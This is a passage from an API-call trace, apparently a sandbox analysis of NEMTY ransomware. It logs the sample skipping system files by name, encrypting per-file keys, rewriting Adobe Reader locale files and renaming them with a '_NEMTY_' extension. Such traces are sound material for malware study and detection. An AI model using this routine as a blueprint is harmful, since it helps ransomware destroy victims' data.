lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e5f2af0, dwHighDateTime=0x1d561e8)) [0179.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e5f2af0, dwHighDateTime=0x1d561e8)) [0179.054] GetLastError () returned 0x0 [0179.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.055] GetLastError () returned 0x0 [0179.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0179.055] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.055] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.055] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.055] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="+a8dL6CCB96/HOxdVfD1a9XDvP85VocvKJDycUlhWCzLkPvgIsN2xVksLPZ0Kj7D\r\nupM723JnnyG6ED3CxSFNgTLo0OL2r9MOvVAb/2GZHlRd0V0rDa7iy42rWlFsbMxO\r\n5PIpR7Q6jozDEuAtXM6dWcPn//4IzqrseL2JUSplPwdK120siTSNLrMsSUw1Saal\r\nL6h/xxE/e/1bWGJvr+EVJCrQS8H7QV7sbAprDN0y32HqpM2nGYRVnpXJp+uxadh5\r\n/r6LmfE0Ah/mYhKKUix55yOq4Cukecps1VCIAiZc7yYm4zqKY71ggrOFrDJEgplm\r\nK2v8tkuv3FGnDq2xL7r5Rg==\r\n", pcchString=0x653e5dc) returned 1 [0179.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0179.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.055] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\makeaccessible.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\makeaccessible.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.055] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=46592) returned 1 [0179.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb600) returned 0x6352c48 [0179.056] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.056] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xb600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xb600, lpOverlapped=0x0) returned 1 [0179.060] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.060] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xb600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xb600, lpOverlapped=0x0) returned 1 [0179.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.060] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=46592, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb600 [0179.060] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.060] CloseHandle (hObject=0x2e8) returned 1 [0179.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.060] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0179.060] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0179.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0179.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0179.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403c0 [0179.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0179.061] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\makeaccessible.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\makeaccessible.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\makeaccessible.JPN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\makeaccessible.jpn._nemty_kgobjgd_")) returned 1 [0179.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0179.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0179.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.061] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Multimedia.JPN", cAlternateFileName="MULTIM~1.JPN")) returned 1 [0179.061] lstrcmpiW (lpString1="Multimedia.JPN", lpString2=".") returned 1 [0179.061] lstrcmpiW (lpString1="Multimedia.JPN", lpString2="..") returned 1 [0179.061] lstrcmpiW (lpString1="Multimedia.JPN", lpString2="...") returned 1 [0179.061] lstrcmpiW (lpString1="Multimedia.JPN", lpString2="windows") returned -1 [0179.061] lstrcmpiW (lpString1="Multimedia.JPN", lpString2="$RECYCLE.BIN") returned 1 [0179.062] lstrcmpiW (lpString1="Multimedia.JPN", lpString2="rsa") returned -1 [0179.062] lstrcmpiW (lpString1="Multimedia.JPN", lpString2="NTDETECT.COM") returned -1 [0179.062] lstrcmpiW (lpString1="Multimedia.JPN", lpString2="ntldr") returned -1 [0179.062] lstrcmpiW (lpString1="Multimedia.JPN", lpString2="MSDOS.SYS") returned 1 [0179.062] lstrcmpiW (lpString1="Multimedia.JPN", lpString2="IO.SYS") returned 1 [0179.062] lstrcmpiW (lpString1="Multimedia.JPN", lpString2="boot.ini") returned 1 [0179.062] lstrcmpiW (lpString1="Multimedia.JPN", lpString2="boot.ini") returned 1 [0179.062] lstrcmpiW (lpString1="Multimedia.JPN", lpString2="AUTOEXEC.BAT") returned 1 [0179.062] lstrcmpiW (lpString1="Multimedia.JPN", lpString2="ntuser.dat") returned -1 [0179.062] lstrcmpiW (lpString1="Multimedia.JPN", lpString2="desktop.ini") returned 1 [0179.062] lstrcmpiW (lpString1="Multimedia.JPN", lpString2="CONFIG.SYS") returned 1 [0179.062] lstrcmpiW (lpString1="Multimedia.JPN", lpString2="RECYCLER") returned -1 [0179.062] lstrcmpiW (lpString1="Multimedia.JPN", lpString2="BOOTSECT.BAK") returned 1 [0179.062] lstrcmpiW (lpString1="Multimedia.JPN", lpString2="bootmgr") returned 1 [0179.062] lstrcmpiW (lpString1="Multimedia.JPN", lpString2="programdata") returned -1 [0179.062] lstrcmpiW (lpString1="Multimedia.JPN", lpString2="appdata") returned 1 [0179.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.062] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.JPN", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0179.062] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.JPN", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.JPN", lpUsedDefaultChar=0x0) returned 14 [0179.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.062] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.JPN", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0179.062] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.JPN", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.JPN", lpUsedDefaultChar=0x0) returned 14 [0179.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.062] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.JPN", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0179.062] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.JPN", cchWideChar=14, lpMultiByteStr=0x653e8e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.JPN", lpUsedDefaultChar=0x0) returned 14 [0179.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.062] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.JPN", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0179.062] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.JPN", cchWideChar=14, lpMultiByteStr=0x653e918, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.JPN", lpUsedDefaultChar=0x0) returned 14 [0179.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.063] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.063] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.063] Sleep (dwMilliseconds=0x5) [0179.070] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e618c50, dwHighDateTime=0x1d561e8)) [0179.070] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e618c50, dwHighDateTime=0x1d561e8)) [0179.070] GetLastError () returned 0x0 [0179.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.070] GetLastError () returned 0x0 [0179.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.070] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.070] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.070] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.071] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.071] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="85Phh/y6IhAinndWdPdZyXW0ip+KIWLcaGkjxF+uZ+LtvPKeuOJCNIMSNjyIoOrG\r\nM6StXiFrQkMkYS4AyxLNcuo1EQ8QI9SHhybrinkf/b7xLDgKjXrnKbYdEXsoNXUl\r\ngBkE1vAh4qN8sff3j1xCmkY+lo1Php0pVGBjtH4u+FB+fq+vM2vDAwZNTzF+3PeU\r\nT691gyTA+8wtYcM4u9gqIUlQ1qb0DpW4fnSwAa5j3Chu2Ad4D1KUeuPlSddbeS3s\r\nCoYjX0ejxPceZPIAeyVsAa1CFB/077RJc1wj9xLT+NOExJJXarblfPlf3x8KUOiX\r\nPFT9JLDvBaaaqpK3uMXrQw==\r\n", pcchString=0x653e5dc) returned 1 [0179.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.071] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Multimedia.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\multimedia.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.071] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=61952) returned 1 [0179.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf200) returned 0x6352c48 [0179.071] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.071] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xf200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xf200, lpOverlapped=0x0) returned 1 [0179.077] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.077] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xf200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xf200, lpOverlapped=0x0) returned 1 [0179.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.077] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=61952, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf200 [0179.077] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.077] CloseHandle (hObject=0x2e8) returned 1 [0179.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.078] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0179.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0179.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.078] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Multimedia.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\multimedia.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Multimedia.JPN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\multimedia.jpn._nemty_kgobjgd_")) returned 1 [0179.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0179.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0179.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.078] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="pddom.JPN", cAlternateFileName="")) returned 1 [0179.078] lstrcmpiW (lpString1="pddom.JPN", lpString2=".") returned 1 [0179.078] lstrcmpiW (lpString1="pddom.JPN", lpString2="..") returned 1 [0179.079] lstrcmpiW (lpString1="pddom.JPN", lpString2="...") returned 1 [0179.079] lstrcmpiW (lpString1="pddom.JPN", lpString2="windows") returned -1 [0179.079] lstrcmpiW (lpString1="pddom.JPN", lpString2="$RECYCLE.BIN") returned 1 [0179.079] lstrcmpiW (lpString1="pddom.JPN", lpString2="rsa") returned -1 [0179.079] lstrcmpiW (lpString1="pddom.JPN", lpString2="NTDETECT.COM") returned 1 [0179.079] lstrcmpiW (lpString1="pddom.JPN", lpString2="ntldr") returned 1 [0179.079] lstrcmpiW (lpString1="pddom.JPN", lpString2="MSDOS.SYS") returned 1 [0179.079] lstrcmpiW (lpString1="pddom.JPN", lpString2="IO.SYS") returned 1 [0179.079] lstrcmpiW (lpString1="pddom.JPN", lpString2="boot.ini") returned 1 [0179.079] lstrcmpiW (lpString1="pddom.JPN", lpString2="boot.ini") returned 1 [0179.079] lstrcmpiW (lpString1="pddom.JPN", lpString2="AUTOEXEC.BAT") returned 1 [0179.079] lstrcmpiW (lpString1="pddom.JPN", lpString2="ntuser.dat") returned 1 [0179.079] lstrcmpiW (lpString1="pddom.JPN", lpString2="desktop.ini") returned 1 [0179.079] lstrcmpiW (lpString1="pddom.JPN", lpString2="CONFIG.SYS") returned 1 [0179.079] lstrcmpiW (lpString1="pddom.JPN", lpString2="RECYCLER") returned -1 [0179.079] lstrcmpiW (lpString1="pddom.JPN", lpString2="BOOTSECT.BAK") returned 1 [0179.079] lstrcmpiW (lpString1="pddom.JPN", lpString2="bootmgr") returned 1 [0179.079] lstrcmpiW (lpString1="pddom.JPN", lpString2="programdata") returned -1 [0179.079] lstrcmpiW (lpString1="pddom.JPN", lpString2="appdata") returned 1 [0179.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.079] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.JPN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0179.079] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.JPN", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.JPN", lpUsedDefaultChar=0x0) returned 9 [0179.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.079] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.JPN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0179.079] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.JPN", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.JPN", lpUsedDefaultChar=0x0) returned 9 [0179.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.079] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.JPN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0179.079] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.JPN", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.JPN", lpUsedDefaultChar=0x0) returned 9 [0179.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: 